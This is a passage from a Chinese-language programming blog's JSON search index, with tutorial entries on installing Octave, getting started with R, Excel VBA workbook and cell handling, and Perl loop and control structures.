class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 註：其他運算子請參考 perlop(1)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Perl 雜湊（Hash）與運算子"},{"content":"這裡介紹在各種系統中安裝 Octave 環境的方法，包含 Octave 主程式與使用者介面等。\n在 Octave 中的繪圖工作是交由 gnuplot 去處理，因此在安裝 Octave 時也會一併安裝 gnuplot。\nWindows 系統 在 Windows 系統下要安裝 Octave 可以從 Octave-Forge 下載打包好的自動安裝檔，直接安裝好就可以使用了，非常方便。\n這是在 Windows 中執行 Octave 的畫面：\nLinux 系統 使用 apt 安裝 Octave：\nsudo apt-get install octave 安裝完成後直接執行 Octave：\noctave 若是要安裝圖形介面的 QtOctave，則：\nsudo apt-get install qtoctave 這是 QtOctave 的圖形介面的視窗：\nMac OS 系統 在 Mac OS 系統下要安裝 Octave 必須安裝 Octave 主程式與 Gnuplot，可以從 Octave-Forge 下載打包好的 dmg 檔，在這個 octave.app 的 dmg 檔中包含 Octave 程式與 Gnuplot 的 dmg 檔（Extras 資料夾中）：\n在安裝時就把 Octave 拖進 Applications 中就可以了，接著再安裝 Extras 資料夾中的 Gnuplot：\n一樣把 Gnuplot 拖進 Applications 中，這樣 Octave 與 Gnuplot 就裝好了。\nOctave 在使用 Gnuplot 繪圖時，需要使用 X11，若是您沒有安裝的話，可以使用 AquaTerm 替代，其安裝方法一樣是從其網站中下載 dmg 檔安裝，執行其中的 pkg 檔，就會自動安裝好了。\n安裝完成後在應用程式（Applications）中應該就會有一個名稱為 Octave 的程式，直接開啟就可以使用了，以下是執行的畫面：\n","permalink":"https://blog.gtwang.org/octave/download-and-install-octave/","summary":"\u003cp\u003e這裡介紹在各種系統中安裝 Octave 環境的方法，包含 Octave 主程式與使用者介面等。\u003c/p\u003e\n\u003cblockquote class=\"notes\"\u003e\u003cp\u003e在 Octave 中的繪圖工作是交由 \u003ca href=\"http://www.gnuplot.info/\"\u003egnuplot\u003c/a\u003e 去處理，因此在安裝 Octave 時也會一併安裝 gnuplot。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"windows-系統\"\u003eWindows 系統\u003c/h2\u003e\n\u003cp\u003e在 Windows 系統下要安裝 Octave 可以從 \u003ca href=\"http://octave.sourceforge.net/\"\u003eOctave-Forge\u003c/a\u003e 下載打包好的自動安裝檔，直接安裝好就可以使用了，非常方便。\u003c/p\u003e","title":"下載與安裝 Octave"},{"content":"R 是一個功能強大的科學計算機，其本身內建非常大量的數學運算功能，本篇將介紹它的基本使用方式。\nR 是一個功能非常豐富的程式語言，而在實際開始學習 R 語言之前，我們先粗略的瀏覽一下 R 的一些基本功能與使用方式，讓大家對於 R 有一些基本的認識與了解，等大家熟悉 R 的操作之後，再繼續學習後續的細部觀念與更深入的課題。\n以下是 R 的一些基本操作介紹。\nR 使用者介面 R 是一個使用指令操作的軟體，在學習 R 語言之前，我們先熟悉一下他的操作介面。\n將 R 打開之後，可以看到一個 R Console 視窗，裡面會有一些 R 的版本與相關使用條款的資訊，往後所有的指令都是在這個 R Console 視窗中做輸入，而所有的文字輸出也都是在這裡，他是 R 中最主要的操作介面。\n我們可以在 R Console 中直接輸入我們想要計算的數學式子，把 R 當作一般的計算機使用：\n12 + 3 * 6 然後按下 Enter 鍵之後，就可以得到計算的結果：\n[1] 30 這裡的 30 就是計算結果，而開頭用中括號包起來的數字是標示這個數值是在向量中的位置編號（這個部分稍後會介紹，目前可先忽略它）。\nR 支援很多種格式的輸入，例如：\n(43.43 * 2^4 + 1.23e3) / 384.23 其中 2^4 是 (2^4)，而 1.23e3 則是 (1.23 times 10^3)，這樣的輸出為：\n[1] 5.009708 變數 我們可以建立變數，將數值或各種資料儲存起來：\nfoo \u0026lt;- 23; 其中 \u0026lt;- 為 R 特有的指定運算子（assignment operator），在大多數的情況下也可以使用等號 = 取代，就像這樣：\nfoo = 23; 這樣就會在 R 中建立一個變數 foo，而它的值是 23，這時候我們可以輸入變數的名稱來乾看這個變數的值：\nfoo [1] 23 尋找變數 如果您在使用 R 時想要找尋之前建立的變數，但是一時忘記完整的變數名稱，這時候就可以使用 apropos 這個函數來搜尋，他可以使用關鍵字來搜尋所有的變數，列出所有符合的變數名稱。假設我們有一個 very_long_name 變數：\nvery_long_name \u0026lt;- 38 若我們只記得一部份的變數名稱，就可以使用 apropos 搜尋一下：\napropos(\u0026#34;long\u0026#34;) [1] \"longley\" \"seq_along\" \"very_long_name\" 這樣就可以很快找出我們需要的變數。\n呼叫函數 除了簡單的數值運算之外，R 中內建非常多的功能函數，善用這些功能函數可以幫助我們進行各式各樣複雜的運算，例如計算從 1 到 10 的總和，就可以使用 sum 這個功能函數：\nsum(1:10) 輸出為\n[1] 55 這裡的冒號 : 是一個可以產生連續數列的運算子，1:10 會產生從 1 到 10 的數列，接著我們將這個數列交給 sum 這個計算總和的函數，計算出從 1 到 10 的總和。\n這裡 1:10 所產生的數列稱為一個向量（vector），而我們所呼叫的 sum 則稱為函數（function），函數在呼叫時需要傳入的資料就稱為函數的參數（argument）。\nR 中有內建非常多的數學運算函數以及常數，例如三角函數與 (pi)：\nsin(pi/2) [1] 1 絕對值：\nabs(-34) [1] 34 指數：\nexp(1) [1] 2.718282 中位數：\nmedian(1:5) [1] 3 註解與多個指令 適當的在程式碼中加入註解，對於程式的易讀性會很有幫助，在 R 的每一行程式碼中，所有在 # 之後的文字都會被視為註解，例如：\nfoo \u0026lt;- 23; # 建立 foo 變數 也可以把註解寫成獨立一行：\n# 建立 bar 變數 bar \u0026lt;- 86; 如果要在一行 R 程式碼中一次輸入多個指令，可以使用分號 ; 將不同的指令區分開來，例如：\na \u0026lt;- 1; b \u0026lt;- 2; c \u0026lt;- 3; 這樣的寫法等同於\na \u0026lt;- 1 b \u0026lt;- 2 c \u0026lt;- 3 有時候將多個簡短的指令合併成一行，可以讓程式碼更簡潔、也更容易閱讀。\nDemo 剛開始使用 R 時，如果想要看看 R 可以處理些問題，可以使用 R 內建的 demo 函數，執行 R 內建的範例程式，首先執行 demo 列出可以選用的主題：\ndemo() 接著執行 demo 並指定想要觀看的主題：\ndemo(graphics) 線上說明 在 R 中如果想要查詢某個函數的使用方式，可以輸入一個問號 ? 再加上要查詢的函數名稱：\n?sum 這樣就可以查詢 sum 這個函數的詳細使用方式。除了函數之外，也可以查詢 R 的關鍵字或運算子的說明：\n?\u0026#34;+\u0026#34; ?\u0026#34;if\u0026#34; 如果您不知道確切的函數名稱，可以使用兩個問號 ?? 加上關鍵字來搜尋相關的主題：\n??plotting ??\u0026#34;regression model\u0026#34; 除了 ? 與 ?? 之外，也可以使用 help 來查詢，兩者功能是相同的：\nhelp(\u0026#34;sum\u0026#34;) help(\u0026#34;+\u0026#34;) help(\u0026#34;if\u0026#34;) help.search(\u0026#34;plotting\u0026#34;) help.search(\u0026#34;regression model\u0026#34;) Vignettes R 將許多的功能模組化，以套件（packages）的方式來管理，有些套件會包含一些自己的說明文件（vignettes），執行 browseVignettes 可以瀏覽自己電腦中套件的說明文件：\nbrowseVignettes() 我們也可以直接開啟特定主題的說明文件（不過這需要記得說明文件的名稱）：\nvignette(\u0026#34;Sweave\u0026#34;, package = \u0026#34;utils\u0026#34;) 網路資源 使用 help 與 vignette 都是從自己電腦有安裝的說明文件中來查詢，如果想要尋找更豐富的資料，可以透過網路上的一些資源：\nR 官方搜尋工具 Rseek R-bloggers Quick-R METACRAN R-documentation ","permalink":"https://blog.gtwang.org/r/getting-started-with-r/","summary":"\u003cp\u003eR 是一個功能強大的科學計算機，其本身內建非常大量的數學運算功能，本篇將介紹它的基本使用方式。\u003c/p\u003e\n\u003cp\u003eR 是一個功能非常豐富的程式語言，而在實際開始學習 R 語言之前，我們先粗略的瀏覽一下 R 的一些基本功能與使用方式，讓大家對於 R 有一些基本的認識與了解，等大家熟悉 R 的操作之後，再繼續學習後續的細部觀念與更深入的課題。\u003c/p\u003e","title":"開始使用 R"},{"content":"這裡介紹如何使用 Excel VBA 來控制活頁簿、工作表與儲存格的資料，用程式自動產生表格。\n在開始之前，請先設定好 Excel VBA 的開發環境，啟用開發人員工具，並且開啟 Excel VBA 的程式編輯視窗。\n儲存格 首先我們介紹如何在 VBA 中控制 Excel 的儲存格。\nRange 物件 在 VBA 中我們可以透過 Range 物件來選取並操作儲存格，這個物件是 Excel VBA 最重要的物件之一，使用頻率相當高，以下是各種使用方式。\n若要將目前工作表的 A1 儲存格的內容設為 Hello，可以這樣寫：\nRange(\u0026#34;A1\u0026#34;).Value = \u0026#34;Hello\u0026#34; Range 物件的第一個參數放置儲存格的位置，這樣就可以將這個位置的儲存格抓出來，而 Value 屬性就是這個儲存格的內容，直接將 Value 指定成新的資料就可以更新 Excel 儲存格內容。\n我們可以自己新增一個副程式（Sub），把這一行指令放在裡面來執行：\n執行之後，A1 儲存格的內容就會變成 Hello。\n通常在開發 Excel VBA 程式的時候，都會同時開啟 Excel 與 VBA 的視窗，一邊開發程式一邊進行測試，而這樣的開發環境在每一台有安裝 Office 的電腦都有，不需要另外安裝，既方便又好用。\n如果要一次更改多個連續的儲存格內容，可以在 Range 的參數中指定儲存格的範圍，例如：\nRange(\u0026#34;A1:A4\u0026#34;).Value = 5 這樣就會把 A1 到 A4 儲存格的內容都更改為 5：\n如果範圍不是連續的，也可以一次使用多個範圍來指定：\nRange(\u0026#34;A1:A2,B3:C4\u0026#34;).Value = 10 這樣就可以更改任意範圍的儲存格內容：\nRange 也可以用來處理自訂名稱的儲存格，只要在 Range 的參數中指定儲存格的名稱即可，例如：\nRange(\u0026#34;MyCell\u0026#34;).Value = 123 這樣 MyCell 這個儲存格的內容就會被指定為 123：\nCells 物件 除了 Range 之外，Cells 也是一個可以用來操作儲存格的物件，其功能跟 Range 都差不多，只不過它是使用行與列的編號來指定儲存格，這種指定方式在撰寫自動化程式時會比較好用。\n如果要使用 Cells 將第一行第一列的儲存格內容指定為 23，可以這樣寫：\nCells(1, 1).Value = 23 結果會像這樣：\n如果要指定範圍，可以使用兩個 Cells 配合 Range，例如：\nRange(Cells(1, 1), Cells(4, 2)).Value = 13 執行結果為：\n使用 Range 或 Cells 所取出的儲存格，除了可以透過 Value 改變內容之外，也還有其他很多可用的操作。呼叫 Select 可以選取這些儲存格：\nRange(Cells(1, 1), Cells(4, 2)).Select 這樣這些 Excel 上的儲存格就會變成選取的狀態：\n如果要選擇整個行（row），可以使用 Rows 並指定行的編號：\nRows(3).Select 執行結果為：\n列的話則使用 Columns：\nColumns(2).Select 執行結果為：\n複製與貼上 Excel VBA 也可以使用程式自動進行複製與貼上的動作，假設原本的 Excel 資料是這樣：\n我們可以使用 Select 將要複製的範圍先選取起來：\nRange(\u0026#34;A1:A2\u0026#34;).Select 當這些儲存格被選取之後，在 VBA 中就可以透過 Selection 物件來取得這些被選取的儲存格，接著就使用 Selection 物件的 Copy，將選取的儲存格複製起來：\nSelection.Copy 複製好資料之後，接著再選擇要貼上的位置：\nRange(\u0026#34;C3\u0026#34;).Select 然後呼叫 ActiveSheet 的 Paste 將資料貼上去：\nActiveSheet.Paste 這是貼上後的結果：\n清除儲存格 若要清除儲存格中的資料，可以使用 ClearContents：\nRange(\u0026#34;A1:A2\u0026#34;).ClearContents 或是直接將儲存格的內容指定為空字串亦可：\nRange(\u0026#34;A1\u0026#34;).Value = \u0026#34;\u0026#34; 接下來要介紹工作表與活頁簿的操作方式，請繼續閱讀下一頁。\n工作表 如果要對多張 Excel 工作表進行操作，可以使用 Worksheets 物件加上工作表的名稱來指定工作表：\nWorksheets(\u0026#34;工作表1\u0026#34;).Range(\u0026#34;A1\u0026#34;).Value = \u0026#34;工作表1的A1\u0026#34; Worksheets(\u0026#34;工作表2\u0026#34;).Range(\u0026#34;A1\u0026#34;).Value = \u0026#34;工作表2的A1\u0026#34; 這樣會分別改變工作表1與工作表2的 A1 儲存格，工作表1會變成這樣：\n而工作表2會變成這樣：\nWorksheets 物件也可以使用工作表的順序來指定工作表：\nWorksheets(1).Range(\u0026#34;A1\u0026#34;).Value = \u0026#34;工作表1的A1\u0026#34; Worksheets(2).Range(\u0026#34;A1\u0026#34;).Value = \u0026#34;工作表2的A1\u0026#34; 上面這兩行的作用會跟之前使用工作表名稱的方式相同。\n如果要新增工作表，可以執行：\nWorksheets.Add 這樣就會新增一個工作表：\n新增的工作表預設會放在第一個位置，我們可以使用它的 Name 屬性來改變他的名稱：\nWorksheets(1).Name = \u0026#34;新的工作表\u0026#34; 執行結果會像這樣：\nWorksheets 的 Count 可以計算目前工作表的數量，MsgBox 可以跳出一個視窗顯示簡單的訊息：\nMsgBox Worksheets.Count 執行結果為：\n活頁簿 VBA 的 Workbooks 物件代表 Excel 目前開啟的活頁簿，如果需要在程式中同時處理多本活頁簿的資料時，就會需要用到它。例如要把活頁簿1中的第一張工作表的 A1 儲存格內容設定為 Hello，則執行：\nWorkbooks(\u0026#34;活頁簿1\u0026#34;).Worksheets(1).Range(\u0026#34;A1\u0026#34;).Value = \u0026#34;Hello\u0026#34; 這個用法跟之前工作表與儲存格的操作類似，只是在前面多加了一個 Workbooks 物件來指定活頁簿而已。同樣地 Workbooks 除了用名稱指定之外，也可以使用活頁簿的編號：\nWorkbooks(1).Worksheets(1).Range(\u0026#34;A1\u0026#34;).Value = \u0026#34;Hello\u0026#34; 若要查看目前的活頁簿數量，則可使用 Workbooks 的 Count：\nMsgBox Workbooks.Count 活頁簿的名稱可以從 Name 取得：\nMsgBox Workbooks(1).Name 如果要開啟活頁簿（開啟 Excel 檔），可以使用 Open：\nWorkbooks.Open \u0026#34;C:VBAdemo.xlsx\u0026#34; 若要儲存活頁簿（儲存 Excel 檔），則可使用 Save：\nWorkbooks(\u0026#34;demo\u0026#34;).Save 若要將活頁簿另存新檔，則可使用 SaveAs：\nWorkbooks(\u0026#34;demo\u0026#34;).SaveAs \u0026#34;C:VBAanother.xlsx\u0026#34; Activate 可以指定當前活頁簿：\nWorkbooks(\u0026#34;demo\u0026#34;).Activate 若要關閉活頁簿，則可使用 Close：\nWorkbooks(\u0026#34;demo\u0026#34;).Close 如果要關閉所有的活頁簿，但留下主視窗，則可執行：\nWorkbooks.Close 若要關閉整個 Excel，可以執行：\nApplication.Quit 熟練了 Excel VBA 的活頁簿操作技巧之後，我們就可以很容易地開啟很多個 Excel 檔進行各種自動化的動作了。\n最後補充一個小技巧，在撰寫完一個副程式（Sub）時，通常都會需要馬上執行，測試看看執行的結果如何。在工具列上有一個執行的按鈕，按下去就可以執行，而這時候如果游標沒有在任何一個副程式之內，那麼在按下執行按鈕時，就會跳出一個選擇視窗，詢問要執行的副程式，這樣會比較浪費時間。\n如果想要加入開發的速度、節省時間，可以將滑鼠的游標放在要執行的副程式之內，然後按下執行的按鈕，這樣就可以馬上執行該副程式，在開發程式時會比較有效率。\n","permalink":"https://blog.gtwang.org/courses/vba/excel-vba-programming-workbook-worksheet-cell/","summary":"\u003cp\u003e這裡介紹如何使用 Excel VBA 來控制活頁簿、工作表與儲存格的資料，用程式自動產生表格。\u003c/p\u003e\n\u003cp\u003e在開始之前，請先\u003ca href=\"/courses/vba/excel-vba-programming-hello-world/\"\u003e設定好 Excel VBA 的開發環境\u003c/a\u003e，啟用開發人員工具，並且開啟 Excel VBA 的程式編輯視窗。\u003c/p\u003e","title":"Excel VBA：活頁簿、工作表與儲存格"},{"content":"迴圈與控制結構 # 迴圈與控制結構 # (1) for for($i=0;$i\u0026lt;10;++$i){ print $i; # 印出 0123456789 } # 註：{} 不可省略 # (2) while # (A) $i=0; while($i\u0026lt;10){ print $i; # 印出 0123456789 ++$i; } # (B) while( ($key,$value) = each %hash ){ print \u0026#34;$key is $value\\n\u0026#34;; } # (3) do while do { print $i; $i++; }while($i\u0026lt;10); # (4) until(與 while 相反) until($i\u0026gt;=10){ print $i; $i++; } # (5) foreach # (A) @arr = (1,2,3,4); foreach $i (@arr){ print $i; # 印出 @arr 所有元素 } # (B) %hash = (\u0026#34;Bill\u0026#34; =\u0026gt; \u0026#34;boy\u0026#34;,\u0026#34;Mary\u0026#34; =\u0026gt; \u0026#34;gril\u0026#34;); foreach $key (keys %hash){ # 印出 %hash 所有元素 print \u0026#34;$key is $hash{$key}\\n\u0026#34;; } # (C) print foreach (1 .. 9); # 倒裝 # (D) foreach 可簡寫成 for print for 1 .. 9; # (6) last, next and redo while($something){ # redo 跳到這裡重新開始 # something ... if($ok){ next; # next 跳過目前此次迭代 } if($oops){ redo; # redo 重新執行目前此次迭代 } # something ... if($error){ last; # last 會終止圈 } # something ... # next 跳到這裡 } # last 跳到這裡繼續執行 # 註：next, last 與 redo 皆可用在 for,foreach,while 與 until 等迴圈。 # (7) if # (A) $a = 5; if($a \u0026gt; 3){ print \u0026#34;$a \u0026gt; 3\\n\u0026#34;; }elsif($a \u0026lt; 3){ print \u0026#34;$a \u0026lt; 3\\n\u0026#34;; }else{ print \u0026#34;$a = 3\\n\u0026#34;; } # (B) $val = 3; # 倒裝，等同於： if ($val\u0026gt;0) { print $val; } print $val if $val \u0026gt; 0; # (8) unless (與 if 相反) $a = 5; print \u0026#34;$a \u0026gt; 4\u0026#34; unless($a \u0026lt;= 4); # 練習一 # # 1.寫一個 perl script 印出九九乘法表 # # 基本版 for($i=1;$i\u0026lt;10;++$i){ for($j=1;$j\u0026lt;10;++$j){ print $j . \u0026#34;x\u0026#34; . $i . \u0026#34;=\u0026#34;, $i*$j, \u0026#34; \u0026#34;; } print \u0026#34;\\n\u0026#34;; } # 排版整齊 for($i=1;$i\u0026lt;10;++$i){ for($j=1;$j\u0026lt;10;++$j){ print $j . \u0026#34;x\u0026#34; . $i . \u0026#34;=\u0026#34;, $i*$j, \u0026#34; \u0026#34;; if($i*$j \u0026lt; 10){ print \u0026#34; \u0026#34;; } } print \u0026#34;\\n\u0026#34;; } # 精簡版 for $i (1 .. 9){ printf \u0026#34;%dx%d=%-3d\u0026#34;,$_,$i,$i*$_ for (1 .. 9); print \u0026#34;\\n\u0026#34;; } ","permalink":"https://blog.gtwang.org/perl/perl-course-notes-3/","summary":"\u003ch2 id=\"迴圈與控制結構\"\u003e迴圈與控制結構\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-perl\" data-lang=\"perl\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 迴圈與控制結構\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (1) for\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$i\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"nv\"\u003e$i\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"nv\"\u003e$i\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"nv\"\u003e$i\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e   \u003cspan class=\"c1\"\u003e# 印出 0123456789\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 註：{} 不可省略\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (2) while\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (A)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$i\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$i\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"nv\"\u003e$i\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e   \u003cspan class=\"c1\"\u003e# 印出 0123456789\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"nv\"\u003e$i\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (B)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$key\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nv\"\u003e$value\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003eeach\u003c/span\u003e \u003cspan class=\"nv\"\u003e%hash\u003c/span\u003e \u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;$key is $value\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (3) do while\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003edo\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"nv\"\u003e$i\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$i\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$i\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (4) until(與 while 相反)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003euntil\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$i\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;=\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"nv\"\u003e$i\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$i\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (5) foreach\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (A)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e@arr\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eforeach\u003c/span\u003e \u003cspan class=\"nv\"\u003e$i\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e@arr\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"nv\"\u003e$i\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e               \u003cspan class=\"c1\"\u003e# 印出 @arr 所有元素\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 